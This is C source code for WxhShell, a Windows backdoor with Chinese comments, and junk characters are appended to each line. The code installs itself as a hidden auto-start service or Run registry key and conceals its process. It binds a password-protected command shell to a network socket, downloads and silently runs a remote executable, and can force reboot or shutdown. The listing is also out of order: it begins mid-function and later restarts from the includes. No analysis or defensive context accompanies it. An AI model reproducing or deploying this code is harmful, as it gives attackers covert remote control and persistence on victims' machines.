    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]}-7_n#cC  
    if(Boot(SHUTDOWN)) rq/yD,I,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r6MMCJ|G  
    else { 3G)#5 Lf<  
    closesocket(wsh); kHghPn?8]  
    ExitThread(0); 2G67NC?+  
    } RXpw!  
    break; rb2S7k0{  
    } Jr ,;>   
  // 获取shell 'EEJU/"u  
  case 's': { ug!s7fo^  
    CmdShell(wsh); J6s`'gFns  
    closesocket(wsh); qo90t{|c  
    ExitThread(0); 'KS,'%  
    break; nQX:T;WL@  
  } uD$u2  
  // 退出 hk(ZM#Bh  
  case 'x': { <EB+1GFuI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [#<-ZC#T*  
    CloseIt(wsh); @fZ,.2ar  
    break; |mdVdD~go  
    } ( iBl   
  // 离开 G C),N\@Q  
  case 'q': { .779pT!,M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \:# L)   
    closesocket(wsh); W#4 7h7M  
    WSACleanup(); @;zl  
    exit(1); [fya)}  
    break; @Q ]=\N:  
        } 7 S#J>*  
  } UqFO|r"M  
  } E:sf{B'&  
BOb">6C  
  // 提示信息 JgKO|VO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xjuN-  
} ?*G|XnM&  
  } c?f4Q,%|  
f}#~-.NGs  
  return; $<dH?%!7  
} $Uq|w[LA  
:t"^6xt  
// shell模块句柄 ^e2VE_8L  
int CmdShell(SOCKET sock) Xy|So|/bKd  
{ _wbF>z  
STARTUPINFO si; n71r_S*  
ZeroMemory(&si,sizeof(si)); gq4Tb c oA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?K$(817  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M)J5;^["  
PROCESS_INFORMATION ProcessInfo; NR 5gj-B[  
char cmdline[]="cmd"; =1FRFZI!j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o lR?n(v  
  return 0; q 6:dy  
} :}L[sl\R  
U8s2|G;K  
// 自身启动模式  acajHs  
int StartFromService(void) GfxZ'VIn  
{ tzWSA-Li  
typedef struct .;y.]Z/;  
{ Z, zWuE3  
  DWORD ExitStatus; aD<A.Lhy  
  DWORD PebBaseAddress; Q Uwd [  
  DWORD AffinityMask; j78i #}e  
  DWORD BasePriority; qTRsZz@  
  ULONG UniqueProcessId; ,8S/t+H  
  ULONG InheritedFromUniqueProcessId; .KB^3pOpx  
}   PROCESS_BASIC_INFORMATION; &n}]w+w  
:;RMo2Tl  
PROCNTQSIP NtQueryInformationProcess; YFLZ%(  
s [RAHU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :T ^a&)aL%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |IeTqEu9  
7Kr*P<-G  
  HANDLE             hProcess; {g'(~ qv  
  PROCESS_BASIC_INFORMATION pbi; c?(4t67|  
OZb-:!m*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a5dLQx b  
  if(NULL == hInst ) return 0; -P(efYk  
j nkR}wAA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !hA-_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6+#Ydii9E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =m]v8`g  
2prU  
  if (!NtQueryInformationProcess) return 0; 9@SC}AF.  
 R~TTL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?(@ 7r_j  
  if(!hProcess) return 0; 6+:iy'-  
~dyTVJ$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bbDZ#DK"  
8 `v-<J  
  CloseHandle(hProcess); /7(W?xOe  
gldAP:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q4#.X=.d  
if(hProcess==NULL) return 0; on!,c>nNa  
HDz5&7* .  
HMODULE hMod; iQ0KfoG?U  
char procName[255]; *^pR%E .  
unsigned long cbNeeded; w49t9~  
Fx]WCQo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #>a\>iKQ2q  
S^JbyD_yoh  
  CloseHandle(hProcess); 6gU96Z  
<.%4 ! }f8  
if(strstr(procName,"services")) return 1; // 以服务启动 Ij7p' a  
rP'me2 B  
  return 0; // 注册表启动 =ke2;}X  
} =1@u  
2,y|EpG#  
// 主模块 'NbHa!  
int StartWxhshell(LPSTR lpCmdLine) G~]Uk*M q  
{ >1X|^  
  SOCKET wsl; K6)Gc%:`  
BOOL val=TRUE; 6lZ3tdyNo  
  int port=0; . o6Or:L  
  struct sockaddr_in door; I:-Wy"i  
P7ao5NP  
  if(wscfg.ws_autoins) Install(); 3 #n_?-  
O"+ gQXe  
port=atoi(lpCmdLine); ,=uD^n:  
mn'A9er  
if(port<=0) port=wscfg.ws_port; w$>u b@=  
8:q1~`?5"b  
  WSADATA data; %6t:(z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OMk y$d#  
Qry@ s5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;'gWu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cQjv$$&6[  
  door.sin_family = AF_INET; +Z,;,5'5G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '"52uZ{  
  door.sin_port = htons(port); QDZWX`qw{  
m%0p\Y-/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9v#CE!  
closesocket(wsl); 7:e{;iG  
return 1; b8H{8{wi|  
} 5G}?fSQ>  
Q1lyj7c#x  
  if(listen(wsl,2) == INVALID_SOCKET) { V~qNyOtA]  
closesocket(wsl); ~ \r*  
return 1; HGl|-nW>  
} o]odxr  
  Wxhshell(wsl); \a<wKTkn  
  WSACleanup(); a1+oj7  
@s*-%N^:[L  
return 0; xKbXt;l2  
UklUw  
} _OYasJUMG  
O/^ %2mG  
// 以NT服务方式启动 t <~h'U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >:SHV W  
{ PhLn8jNti  
DWORD   status = 0; ]iVcog"T  
  DWORD   specificError = 0xfffffff; 2y75  
x exaQuK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )',R[|<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q;Ak4 [  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $Ph|e)p  
  serviceStatus.dwWin32ExitCode     = 0; 2 'l'8  
  serviceStatus.dwServiceSpecificExitCode = 0; pR<`H'  
  serviceStatus.dwCheckPoint       = 0; SV4E0c>  
  serviceStatus.dwWaitHint       = 0; p;a,#IJu  
v{RZJ^1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aNsBcov3O  
  if (hServiceStatusHandle==0) return; W@>% {eE  
&{5,:%PXw  
status = GetLastError(); sVQ|*0(J0r  
  if (status!=NO_ERROR) bt SRtf  
{ \eTwXe]Pv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F k7?xc  
    serviceStatus.dwCheckPoint       = 0; " > ypIR<  
    serviceStatus.dwWaitHint       = 0; .Cv6kgB@c  
    serviceStatus.dwWin32ExitCode     = status; 8H[<X_/ke  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y+pHd\$-4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TT%M' 5&  
    return; _IMW {  
  } YO`]UQ|dc  
Brw@g8w-X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D'>_I.  
  serviceStatus.dwCheckPoint       = 0; kb%;=t2  
  serviceStatus.dwWaitHint       = 0; A.F%Ycq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IuDS*/Sx  
} ?Rb9|`6  
T}Tp$.gB  
// 处理NT服务事件,比如:启动、停止 3=#<X-);  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E#RDqL*J  
{ xH4m|  
switch(fdwControl)  y`iBFC;_  
{ q~Hn -5H4Q  
case SERVICE_CONTROL_STOP: Xxj- 6i  
  serviceStatus.dwWin32ExitCode = 0; 8qoMo7-f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gf6p'(\zun  
  serviceStatus.dwCheckPoint   = 0; E*& vy  
  serviceStatus.dwWaitHint     = 0; Ha#= (9.  
  { d2FswF$C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -12UN(&&Z  
  }  ,i NXK  
  return; @ )F)S 7  
case SERVICE_CONTROL_PAUSE: eSn+B;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vsr.=Nd=  
  break; 1NFsb-<u  
case SERVICE_CONTROL_CONTINUE: J6"9v;V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (M|Dx\_  
  break; =HK!(C  
case SERVICE_CONTROL_INTERROGATE: sFKX-S~:  
  break; Y;eZ9|Ht9  
}; [|wZ77\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -:^U_FL8un  
} n)/z0n!\  
ZmqKQO  
// 标准应用程序主函数 QpH'PYy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W-f=]eWg  
{ >gQ>1Bwvi  
uh_RGM&  
// 获取操作系统版本 *tFHM &a  
OsIsNt=GetOsVer(); "s-"<&>a(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a~`eQ_N D  
.8g)av+  
  // 从命令行安装 y8Ir@qp5  
  if(strpbrk(lpCmdLine,"iI")) Install(); CZe ]kXNv  
)CYGQMK  
  // 下载执行文件 w_c"@CjkE  
if(wscfg.ws_downexe) { X56q-|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wo}H'Q}Hj  
  WinExec(wscfg.ws_filenam,SW_HIDE); }v;V=%N+v  
} '6`3(TK.a  
yf)%%&  
if(!OsIsNt) { 3Aip}<1  
// 如果时win9x,隐藏进程并且设置为注册表启动 Mexk~z A^  
HideProc(); ;a!S!% .h  
StartWxhshell(lpCmdLine); P{`C^W$J^  
} hNiE\x  
else ^#-l q)  
  if(StartFromService()) A|[?#S((]  
  // 以服务方式启动  N];NAMp  
  StartServiceCtrlDispatcher(DispatchTable); FZ QP%]FX  
else r r %V.r;2  
  // 普通方式启动 G>_*djUf  
  StartWxhshell(lpCmdLine); 2szPAuN+  
lBE= (A`  
return 0; H'5)UX@LP  
} eIF5ZPSZi  
?,Xw[pR  
%`r$g[<G  
5pG}Yk_(x  
=========================================== tFn)aa~L  
+480 l}  
JG. y,<xW  
)m+W j  
F;EwQjTF  
P:S.~Jq  
" \w>y`\6mX  
hFUlNJ  
#include <stdio.h> 5~U/   
#include <string.h> 2W(s(-hD  
#include <windows.h> I|!OY`ko  
#include <winsock2.h> 8%mu8l  
#include <winsvc.h> MKCsv+   
#include <urlmon.h> P5V}#;v  
\7eUw,~Q>  
#pragma comment (lib, "Ws2_32.lib") ,t744k')  
#pragma comment (lib, "urlmon.lib") c):/!Q  
539>WyG5  
#define MAX_USER   100 // 最大客户端连接数 Es`Px_k  
#define BUF_SOCK   200 // sock buffer ~_)^X  
#define KEY_BUFF   255 // 输入 buffer @;4zrzQi7  
G>=*yqo  
#define REBOOT     0   // 重启 octL"t8w  
#define SHUTDOWN   1   // 关机 l30EKoul)  
Wi<m{.%\E  
#define DEF_PORT   5000 // 监听端口 =s{>Fsm1  
*Q.>-J<S  
#define REG_LEN     16   // 注册表键长度 =BeygT^  
#define SVC_LEN     80   // NT服务名长度 Jr4Ky<G_i  
uZYF(Yu  
// 从dll定义API }tu C}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t3ZOco@~P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <=&`ZH   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gg/-k;@ Rf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iVr JQ  
^CH=O|8j  
// wxhshell配置信息 8d{0rqwNE  
struct WSCFG { J{<X 7uB  
  int ws_port;         // 监听端口 Hio0HL-  
  char ws_passstr[REG_LEN]; // 口令 S+6.ZZ9c  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,THw"bm  
  char ws_regname[REG_LEN]; // 注册表键名 *a^(vo   
  char ws_svcname[REG_LEN]; // 服务名 B mb0cF Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V &T~zh1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MJ)RvNF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w.o@7|B1N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W i.& e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VGN5<?PrN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  > |=ts  
H41?/U,{  
}; 6_;icpN]  
Qel9G($=  
// default Wxhshell configuration hZ,_ 6mNg  
struct WSCFG wscfg={DEF_PORT, I 34>X`[o  
    "xuhuanlingzhe", a-tmq]]E  
    1, @1j   
    "Wxhshell", QIEJ6`  
    "Wxhshell", #X$\&,Yn"  
            "WxhShell Service", W@IQ^ }E  
    "Wrsky Windows CmdShell Service", ,qwuLBW  
    "Please Input Your Password: ", ue"~9JK.  
  1, ATyEf5Id_  
  "http://www.wrsky.com/wxhshell.exe", lVa%$F{Pq  
  "Wxhshell.exe" j;r-NCBnz  
    }; {Xy5pfW Q  
4_lrg|X1  
// 消息定义模块 1I6px$^E\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r;2^#6/Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .Hm>i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >:!5*E5?  
char *msg_ws_ext="\n\rExit."; /N .b%M] !  
char *msg_ws_end="\n\rQuit."; M _f:A  
char *msg_ws_boot="\n\rReboot..."; 6@!`]tSCK  
char *msg_ws_poff="\n\rShutdown..."; T>Z<]s  
char *msg_ws_down="\n\rSave to "; 0mVNQxHI  
|r/"  |`  
char *msg_ws_err="\n\rErr!"; V0YZp  
char *msg_ws_ok="\n\rOK!";  F(n$  
H?Wya.7  
char ExeFile[MAX_PATH]; gQuw1  
int nUser = 0; [|L<_.8  
HANDLE handles[MAX_USER]; B6 ;|f'e!  
int OsIsNt; } OR+Io  
j (d~aqW  
SERVICE_STATUS       serviceStatus; "k@/ 3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \)[j_^  
Q&;9 x?e  
// 函数声明 ?V=ZIGj  
int Install(void); JbbzV>  
int Uninstall(void); ,0sm  
int DownloadFile(char *sURL, SOCKET wsh); pv&sO~!iC  
int Boot(int flag); eByz-,{P  
void HideProc(void); e *C(q~PQ  
int GetOsVer(void); _VN?#J)o  
int Wxhshell(SOCKET wsl); B3I`40#  
void TalkWithClient(void *cs); HC8e>kP9b  
int CmdShell(SOCKET sock); '<<t]kK[N  
int StartFromService(void); L*+@>3mu)  
int StartWxhshell(LPSTR lpCmdLine); ITBE|b  
p l0\2e)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /6* 42[r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +'a^f5  
!pW0qX\1n  
// 数据结构和表定义 T^KKy0ZGM  
SERVICE_TABLE_ENTRY DispatchTable[] = /~?*=}c^m  
{ GxxW&y  
{wscfg.ws_svcname, NTServiceMain}, %> eiAB_b  
{NULL, NULL} 2zb"MEOS5  
}; j^JPZ{ej ?  
LRA8p<Rs  
// 自我安装 n84|{l581  
int Install(void) SnfYT)Ph  
{ \2$|Ei7  
  char svExeFile[MAX_PATH]; \8cx6 G'  
  HKEY key; w@E3ZL^  
  strcpy(svExeFile,ExeFile); niyV8v  
tWRC$  
// 如果是win9x系统,修改注册表设为自启动 >GRxHK@G  
if(!OsIsNt) { RrB&\9=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b$jo Y*< 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >bW #Zs,6  
  RegCloseKey(key); `^&OF u ee  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { abjQ)=u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q &JUt(  
  RegCloseKey(key); KRzAy)8  
  return 0; Yq KCeg  
    } %u'u kcL7  
  } uXvtfc  
} ?tbrbkx  
else { wHy!CP%  
fZF@k5*\  
// 如果是NT以上系统,安装为系统服务 HZge!Yp<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }}~|!8  
if (schSCManager!=0) C'x&Py/#  
{ :o3N;*o>)0  
  SC_HANDLE schService = CreateService l_p2Riv  
  ( ,J@  
  schSCManager, S1_RjMbYM  
  wscfg.ws_svcname, {wKB;?fUvk  
  wscfg.ws_svcdisp, Gc|idjW4  
  SERVICE_ALL_ACCESS, "to;\9lP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]a`$LW}  
  SERVICE_AUTO_START, (9a^$C*  
  SERVICE_ERROR_NORMAL, 4Nsp<Kn>  
  svExeFile, *EH~_F  
  NULL, 1qA;/-Zr<o  
  NULL, {IjR^J=k  
  NULL, ]/v[8dS(l  
  NULL, ygcm|PrS  
  NULL JZ x[W&]zT  
  ); upmx $H>  
  if (schService!=0) &D<yX~  
  { y9ZvV0  
  CloseServiceHandle(schService); F^:3?JA _  
  CloseServiceHandle(schSCManager); 75lA%| *X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N!}f}oF  
  strcat(svExeFile,wscfg.ws_svcname); g_bLl)g<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]-# DB^EQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uY To 9A  
  RegCloseKey(key); h*\%vr  
  return 0; Le^ n +5x  
    } ;xTpE2 -~  
  } SXh-A1t  
  CloseServiceHandle(schSCManager); wCBplaojJ  
} :ws<-Qy  
} (bS&D/N.  
}SZd  
return 1; 3v-~K)hl?  
} Vurq t_nb  
%cn<ych G  
// 自我卸载 SpBy3wd  
int Uninstall(void) DEgXQ[  
{ LghfM"g  
  HKEY key; u ga_T  
6u6x  
if(!OsIsNt) { A#,ZUOPGH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .}+}8[p4l  
  RegDeleteValue(key,wscfg.ws_regname); *-X[u:  
  RegCloseKey(key); %BODkc Zh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UiNP3TJ'L  
  RegDeleteValue(key,wscfg.ws_regname); "[N!m1i:{  
  RegCloseKey(key); ;tf=gdX;  
  return 0; DY*N|OnqJ  
  } EU#^7  
} |7~<Is~ *  
} >$7B wO  
else { zH r_!~  
Z\sDUJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '"s@enD0y  
if (schSCManager!=0) %yC,^  
{ v$9y,^p@e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |s_GlJV.  
  if (schService!=0) DmcZta8n]  
  { 1Y,Z %d  
  if(DeleteService(schService)!=0) { yhJ@(tu.Gd  
  CloseServiceHandle(schService); :4|4=mkr  
  CloseServiceHandle(schSCManager); !)$Zp\Sg  
  return 0; XWw804ir  
  } Zd+bx*rD  
  CloseServiceHandle(schService); /9X7A;O  
  } Hn:Crl y#  
  CloseServiceHandle(schSCManager); b.938#3,  
} <UCl@5g&  
} W+* V)tf  
?JUeuNs9  
return 1; O6Y0XL  
} j<$2hiI/?&  
l,).p  
// 从指定url下载文件 eS! /(#T  
int DownloadFile(char *sURL, SOCKET wsh) khd4ue$  
{ >Q*Wi  
  HRESULT hr; \)e'`29;  
char seps[]= "/"; Bbc^FHip  
char *token; d;>QhoiL  
char *file; ~LC-[&$  
char myURL[MAX_PATH]; KPki}'GO  
char myFILE[MAX_PATH]; CC`JZ.SO  
7EJ+c${e.-  
strcpy(myURL,sURL); Q b%J8juRf  
  token=strtok(myURL,seps); +ge?w#R  
  while(token!=NULL) Vvo 7C!$z  
  { 6\t@)=C,Q  
    file=token; ;VK.2^jW!  
  token=strtok(NULL,seps); ~J]qP#C  
  } qP ,EBE  
'"Nr,vQo  
GetCurrentDirectory(MAX_PATH,myFILE); X3& Jb2c2  
strcat(myFILE, "\\"); 1~gCtBRM  
strcat(myFILE, file); PY'2h4IL  
  send(wsh,myFILE,strlen(myFILE),0); - YBY[%jF>  
send(wsh,"...",3,0); E-FUlOG&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A@'OJRc  
  if(hr==S_OK) $~kA B8z  
return 0; W*G<X.Hf  
else QGz|*]  
return 1; g)B]FH1  
|y*c9  
} u? EN  
F"kAkX>3}  
// 系统电源模块 rM SZ"  
int Boot(int flag) SX#&5Ka/  
{ ^rz_f{c]-  
  HANDLE hToken; C# pjmT_  
  TOKEN_PRIVILEGES tkp; :'ptuY  
CN ?gq^  
  if(OsIsNt) { p4QU9DF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s#MPX3itK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FTldR;}(  
    tkp.PrivilegeCount = 1; %2h>-.tY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8XaQAy%d]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8CE = 4  
if(flag==REBOOT) { iRBfx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GX%g9f!O  
  return 0; u@^LW<eD  
} (?];VG  
else { m[2gdJK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ig"L\ C"T  
  return 0; bK7J}8hH  
} &3&HY:yF  
  } g{LP7 D;6  
  else { )PZT4jTt  
if(flag==REBOOT) { SfR%s8c`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _dU\JD  
  return 0; Xc.`-J~Il  
} #z42C?V  
else { afk>+4q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4!$"ayGv;D  
  return 0; zeRyL3fnmb  
} m+9#5a-  
} ;a3}~s  
|a@L}m  
return 1; 0{mex4  
} Zd&S@Z  
('~LMu_  
// win9x进程隐藏模块 [Qr"cR^  
void HideProc(void) !m$jk2<  
{ ,,TnIouy  
qP;OaM CX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W3RT{\  
  if ( hKernel != NULL ) ]'S^]  
  { 6B-16  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t,' <gI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JtZ7ti  
    FreeLibrary(hKernel); 5-M-X#(  
  } AwN!;t_0+N  
s^SJY{  
return; LQ% `c  
} t<qiGDJ<d  
nFn5v'g  
// 获取操作系统版本 N g,j#  
int GetOsVer(void) }7X%'Bg=M  
{ 5 dg(e3T  
  OSVERSIONINFO winfo; >d6|^h'0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); adw2x pj  
  GetVersionEx(&winfo); .(vwIb8\_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .V*^|UXbHi  
  return 1; M3AXe]<eC1  
  else Pc9H0\+Xk  
  return 0; v0y(58Rz.  
} 0IpmRH/  
ite~E5?#  
// 客户端句柄模块 0$njMnB2l  
int Wxhshell(SOCKET wsl) #;<Y[hR{P  
{ @ |r{;'  
  SOCKET wsh; F}zDfY\-  
  struct sockaddr_in client; I_BJH'!t  
  DWORD myID; ~s{$WL&  
svSVG:48  
  while(nUser<MAX_USER) E'8;10s  
{ bZ6+,J  
  int nSize=sizeof(client); KmF]\:sMD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E.f%H(b  
  if(wsh==INVALID_SOCKET) return 1; Ep}s}Stlr}  
uw7zWJ n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nP$9CA  
if(handles[nUser]==0) ElXFeJ%[G  
  closesocket(wsh); s@C}P  
else IK]d3owA  
  nUser++; y}H!c;  
  } \Cj B1] I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8_F1AU? u  
P*o9a  
  return 0; NO3/rJ6-  
} K%d&EYoW]  
;nGa.= "L  
// 关闭 socket v2?ZQeHr_(  
void CloseIt(SOCKET wsh) h$*!8=M  
{ S[N5 ikg  
closesocket(wsh); T;uX4,|(  
nUser--; 6nQq  
ExitThread(0); +qoRP2  
} b]y2+A.n  
_g. {MTQ  
// 客户端请求句柄 f5r0\7y0  
void TalkWithClient(void *cs) @.C2LIb  
{ % `3jL7|  
xfQ1T)F3g  
  SOCKET wsh=(SOCKET)cs; [vgtc.V  
  char pwd[SVC_LEN]; 7 3m1  
  char cmd[KEY_BUFF]; $^ P0F9~0  
char chr[1]; ZW}_DT0  
int i,j; 7L??ae  
]-q;4.  
  while (nUser < MAX_USER) { #F#%`Rv1  
A's{j7  
if(wscfg.ws_passstr) { g){<y~Mk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RZ7@cQY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >/|*DI-HJ  
  //ZeroMemory(pwd,KEY_BUFF); Uv.)?YeGh  
      i=0; 40/Y\  
  while(i<SVC_LEN) { %LV9=!w  
..qCPlK;  
  // 设置超时 grYe&(`X  
  fd_set FdRead; G?ZXWu.  
  struct timeval TimeOut; weQ_*<5%  
  FD_ZERO(&FdRead); /NlGFO*Z  
  FD_SET(wsh,&FdRead); yw!{MO  
  TimeOut.tv_sec=8; 2?5>o!C  
  TimeOut.tv_usec=0; q@qsp&0/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /ouPg=+Nl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y} /-C3)  
P%6~&woF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : 'c&,oLY  
  pwd=chr[0]; xmG<]WF>E  
  if(chr[0]==0xd || chr[0]==0xa) { {FG j]*  
  pwd=0; yLGRi^d#  
  break; N$DkX)Z  
  } *Uh!>Iv;  
  i++; RpK@?[4s  
    } u"8yK5!  
Q@niNDaW2  
  // 如果是非法用户,关闭 socket zTp"AuNHN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hc1N ~$3!G  
} =WLY6)]A  
SIllU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yr6V3],Tp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "z c l|@  
R=dC4;  
while(1) { O=lzT~G|4  
?(PKeq6  
  ZeroMemory(cmd,KEY_BUFF); nu^436MSOa  
]yu:i-SfP  
      // 自动支持客户端 telnet标准   G6/m#  
  j=0; >0gW4!7Y  
  while(j<KEY_BUFF) { ebq4g387X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;*N5Y}?j'  
  cmd[j]=chr[0]; ),)lzN%!  
  if(chr[0]==0xa || chr[0]==0xd) { >7FHo-H/T  
  cmd[j]=0; N;d] 14|  
  break; u y+pP!<  
  } /{[o ~:'p  
  j++; 2/f}S?@   
    } ; KA~Z5x;  
*#2h/Q.  
  // 下载文件 j+!v}*I![  
  if(strstr(cmd,"http://")) { 9ati`-y2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~[ F`"  
  if(DownloadFile(cmd,wsh)) )1z@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pw#-_  
  else @L`jk+Y0vF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K'xV;r7Nt  
  } 0a7Ppntb@  
